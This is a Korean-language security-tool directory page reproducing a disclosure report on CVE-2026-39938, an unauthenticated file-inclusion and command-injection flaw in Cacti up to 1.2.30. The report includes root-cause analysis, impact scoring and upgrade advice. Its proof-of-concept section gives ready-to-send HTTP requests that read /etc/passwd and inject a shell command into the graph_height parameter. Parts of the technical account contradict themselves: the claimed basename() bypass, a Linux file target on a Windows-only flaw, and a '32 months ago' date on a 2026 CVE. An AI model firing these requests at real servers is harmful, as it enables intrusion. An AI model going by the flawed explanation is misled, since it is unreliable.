Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39938 — Cacti ≤1.2.30에 대한 CVE-2026-39938 상세 취약점 보고서로, 인증 없이 LFI를 연쇄하여 OS 명령 주입 RCE를 달성하는 PoC, 근본 원인 분석 및 수정 지침을 제공합니다. | Kitploit
도구/GitHubGitHub/kx00007/cve-2026-39938
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubkx00007/cve-2026-39938

CVE-2026-39938

Cacti ≤1.2.30에 대한 CVE-2026-39938 상세 취약점 보고서로, 인증 없이 LFI를 연쇄하여 OS 명령 주입 RCE를 달성하는 PoC, 근본 원인 분석 및 수정 지침을 제공합니다.

저장소 보기
32개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

취약점 보고서: Cacti Graph Image에서의 인증되지 않은 RCE

연구자: K | 제품: Cacti ≤ 1.2.30 | CVE: CVE-2026-39938


[01] 취약점 요약

필드값
제품Cacti — 완전한 RRDtool 기반 그래핑 솔루션
영향받는 버전≤ 1.2.30
취약점 클래스CWE-22: 경로 탐색 (LFI) → CWE-78: OS 명령 삽입
공격 벡터네트워크
인증필요 없음 (게스트 계정 우회)
사용자 상호작용없음
CVSSv3.1 점수9.8 — 치명적
벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Cacti ≤ 1.2.30은 graph_image.php의 graph_theme 매개변수를 통한 인증되지 않은 로컬 파일 포함(LFI) 에 취약하며, Windows에서 cacti_escapeshellarg()를 통한 OS 명령 삽입을 통해 원격 코드 실행(RCE) 로 연결됩니다.


[02] 취약점 흐름

root@kitploit:~
HTTP 요청
    │
    ▼
graph_image.php
    │
    ├── $guest_account = true  →  인증 우회 (로그인 불필요)
    │
    ├── graph_theme 매개변수  →  LFI (CWE-22)
    │       └── basename() 우회를 통한 경로 탐색
    │
    └── 기타 매개변수 (graph_height 등)
            └── cacti_escapeshellarg()  →  OS 삽입 (CWE-78)
                    └── proc_open()  →  RCE

[03] 근본 원인: graph_theme를 통한 LFI

graph_theme 매개변수가 충분히 검증되지 않았습니다. 수정에서는 basename()을 사용하려 했으나, themes/../../etc/passwd와 같은 경로는 basename() 검증을 통과하면서도 디렉토리 탐색이 가능하여 우회가 쉽습니다.

graph_image.php의 취약한 코드 경로:

root@kitploit:~
$theme = basename($_GET['graph_theme']); // basename()은 충분하지 않음
include_once("./include/theme_" . $theme . ".php"); // LFI

1.2.31의 수정에서는 basename()을 cacti_validate_theme()로 대체하여 파일 시스템 허용 목록을 사용합니다.


[04] 사전 조건

조건가능성비고
Cacti가 Windows에서 실행엔터프라이즈 환경에서 일반적cmd.exe 이스케이프 결함으로 RCE 가능
게스트 계정 활성화일반적 — 종종 기본값게스트 사용자가 공개 그래프 보기 허용
하나 이상의 그래프 존재거의 항상설치 후 local_graph_id=1 존재
RRDtool 설치됨Cacti에 필요항상 존재

[05] 개념 증명

LFI — 임의 파일 읽기

root@kitploit:~
GET /cacti/graph_image.php?local_graph_id=1&graph_theme=../../../../etc/passwd

LFI → RCE 체인

root@kitploit:~
GET /cacti/graph_image.php?local_graph_id=1&graph_height=100" & whoami & "&action=view

OS 명령 삽입은 이미 직접적인 원격 코드 실행(RCE)을 제공하므로, 손상을 입히기 위해 LFI가 필요하지 않습니다.

그러나 연구자 관점에서 두 문제를 함께 고려하면:

  • LFI는 config.php를 읽고 데이터베이스 자격 증명이나 중요한 구성 데이터를 얻는 데 사용될 수 있습니다.
  • OS 명령 삽입은 시스템 명령을 실행하고 서버를 제어하는 데 사용될 수 있습니다.
  • LFI는 시스템의 변경 사항을 확인하는 데도 도움이 됩니다(예: 파일이나 페이로드가 성공적으로 생성되었는지 확인).

이는 여러 취약점을 결합하면 전체 영향이 증가하고 익스플로잇이 더 쉽고 안정적이게 된다는 것을 보여줍니다.


[06] 영향 평가

기둥등급설명
기밀성높음웹 서버 파일 시스템(config, DB 자격 증명)에 대한 전체 읽기 액세스
무결성높음임의 명령 실행, 웹 셸 배포
가용성높음프로세스 종료, 파일 손상, DoS

[07] CVSS v3.1 점수

지표값
공격 벡터네트워크
공격 복잡성낮음
필요한 권한없음
사용자 상호작용없음
범위변경되지 않음
기밀성높음
무결성높음
가용성높음

점수: 9.8 — 치명적


[08] 수정

우선순위조치
즉시Cacti 1.2.31 이상으로 업그레이드

👤 작성자

MENG HOKSENG
독립 보안 연구원


참조:

  • GHSA-rm7p-qcqm-x5m6
  • https://www.cve.org/CVERecord?id=CVE-2026-39938
  • https://github.com/Cacti/cacti/pull/6966
도구 다운로드